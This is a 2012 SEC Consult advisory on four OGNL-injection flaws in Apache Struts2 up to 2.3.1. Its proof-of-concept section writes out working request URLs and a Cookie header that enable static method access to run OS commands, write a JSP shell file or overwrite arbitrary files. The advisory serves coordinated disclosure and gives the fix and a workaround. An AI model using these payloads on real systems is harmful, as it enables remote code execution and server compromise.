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SEC Consult Vulnerability Lab Security Advisory < 20120104-0 > ======================================================================= title: Multiple critical vulnerabilities in Apache Struts2 product: Apache Struts2 * OpenSymphony XWork * OpenSymphony OGNL vulnerable version: 2.3.1 and below fixed version: 2.3.1.1 impact: critical homepage: http://struts.apache.org/ found: 2011-11-18 by: Johannes Dahse, Andreas Nusser SEC Consult Vulnerability Lab https://www.sec-consult.com ======================================================================= Vendor description: ------------------- Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork's ParametersInterceptor treats parameter names provided to actions as OGNL expressions. A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like "product.id=1" the OGNL parser will call the appropiate setter getProduct().setId(1) in the current action context. OGNL is also able to call arbitrary methods, constructors and access context variables. For more details please refer to http://commons.apache.org/ognl/language-guide.html. Vulnerability overview/description: ----------------------------------- To prevent attackers calling arbitrary methods within parameters the flag "xwork.MethodAccessor.denyMethodExecution" is set to "true" and the SecurityMemberAccess field "allowStaticMethodAccess" is set to "false" by default. Also, to prevent access to context variables an improved character whitelist for paramteter names is applied in XWork's ParametersInterceptor since Struts 2.2.1.1: acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+"; Under certain circumstances these restrictions can be bypassed to execute malicious Java code. 1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator) When an exception occurs while applying parameter values to properties the value is evaluated as OGNL expression. For example this occurs when setting a string value to a property with type integer. Since the values are not filtered an attacker can abuse the power of the OGNL language to execute arbitrary Java code leading to remote command execution. This issue has been reported (https://issues.apache.org/jira/browse/WW-3668) and was fixed in Struts 2.2.3.1. However the ability to execute arbitrary Java code has been overlooked. 2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor) The character whitelist for parameter names is not applied to Struts CookieInterceptor. When Struts is configured to handle cookie names, an attacker can execute arbitrary system commands with static method access to Java functions. Therefore the flag "allowStaticMethodAccess" can be set to true within the request. 3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor) Accessing the flag "allowStaticMethodAccess" within parameters is prohibited since Struts 2.2.3.1. An attacker can still access public constructors with only one parameter of type String to create new Java objects and access their setters with only one parameter of type String. This can be abused for example to create and overwrite arbitrary files. To inject forbidden characters to the filename an uninitialized string property can be used. 4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor) While not being a security vulnerability itself, please note that applications running in developer mode and using Struts DebuggingInterceptor are prone to remote command execution as well. While applications should never run in developer mode during production, developers should be aware that doing so not only has performance issues (as documented) but also a critical security impact. Proof of concept: ----------------- 1.) Remote command execution in Struts <= 2.2.1.1 (ExceptionDelegator) Given Test.java has an property "id" of type Integer or Long and appropriate getter and setter methods: long id; Given test.jsp with result name=input is configured for action "Test": struts.xml: <action name="Test" class="example.Test"> <result name="input">test.jsp</result> </action> The following request will trigger an exception, the value will be evaluated as OGNL expression and arbitrary Java code can be executed: /Test.action?id='%2b(new+java.io.BufferedWriter(new+java.io.FileWriter("C:/wwwroot/sec-consult.jsp")).append("jsp+shell").close())%2b' An attacker can also overwrite flags that will allow direct OS command execution: /Test.action?id='%2b(%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc'))%2b' If test.jsp displays the property "id" the result of the Java code evaluation can be accessed: <%@ taglib prefix="s" uri="/struts-tags" %> <s:property value="id" /> 2.) Remote command execution in Struts <= 2.3.1 (CookieInterceptor) Given struts.xml is configured to handle all cookie names (independent of limited cookie values): <action name="Test" class="example.Test"> <interceptor-ref name="cookie"> <param name="cookiesName">*</param> <param name="cookiesValue">1,2</param> </interceptor-ref> <result ...> </action> The following HTTP header will execute an OS command when sent to Test.action: Cookie: (#_memberAccess["allowStaticMethodAccess"]\u003dtrue)(x)=1; x[@java.lang.Runtime@getRuntime().exec('calc')]=1 3.) Arbitrary File Overwrite in Struts <= 2.3.1 (ParametersInterceptor) Given Test.java has an uninitialized property "name" of type String: String name; // +getter+setter The following request will create/overwrite the file "C:/sec-consult.txt" (empty file): /Test.action?name=C:/sec-consult.txt&x[new+java.io.FileWriter(name)]=1 The existence of the property 'x' used in these examples is of no importance. 4.) Remote command execution in Struts <= 2.3.1 (DebuggingInterceptor) Given struts.xml is configured to run in developer mode and to use the debugging interceptor: <constant name="struts.devMode" value="true" /> <action name="Test" class="example.Test"> <interceptor-ref name="debugging" /> <result ...> </action> The following request will execute arbitrary OGNL expressions leading to remote command execution: /Test.action?debug=command&expression=%23_memberAccess["allowStaticMethodAccess"]=true,@java.lang.Runtime@getRuntime().exec('calc') Vulnerable / tested versions: ----------------------------- All products using Struts2 are affected by at least one critical vulnerability listed above! Proof of Concept 1.) has been tested with Jetty-6.1.25 26 July 2010 and Struts 2.2.1.1 Proof of Concepts 2.), 3.) and 4.) have been tested with Jetty-6.1.25 26 July 2010 and Struts 2.2.1.1, 2.2.3.1 and 2.3.1 Vendor contact timeline: ------------------------ 2011-12-14: Contacting vendor through security at struts dot apache dot org 2011-12-14: Vendor reply, sending advisory draft 2011-12-14: Vendor released Apache Struts 2.3.1 in parallel 2011-12-16: Vulnerabilities confirmed in Struts 2.3.1, Vendor contacted 2011-12-16: Vendor reply, discussing workaround 2011-12-20: Discussing release of fixed version 2011-12-21: Providing additional information 2012-01-03: Vendor informs that update is ready 2012-01-03: Patch (2.3.1.1) is available Solution: --------- Update to Struts 2.3.1.1 Workaround: ----------- Update to Struts 2.3.1 and apply a stronger acceptedParamNames filter to the Parameters- and CookieInterceptor: acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[_']+"; Don't run your applications in developer mode. Advisory URL: ------------- https://www.sec-consult.com/en/advisories.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Unternehmensberatung GmbH Office Vienna Mooslackengasse 17 A-1190 Vienna Austria Tel.: +43 / 1 / 890 30 43 - 0 Fax.: +43 / 1 / 890 30 43 - 25 Mail: research at sec-consult dot com https://www.sec-consult.com EOF J. Dahse, A. Nusser / 2012 |
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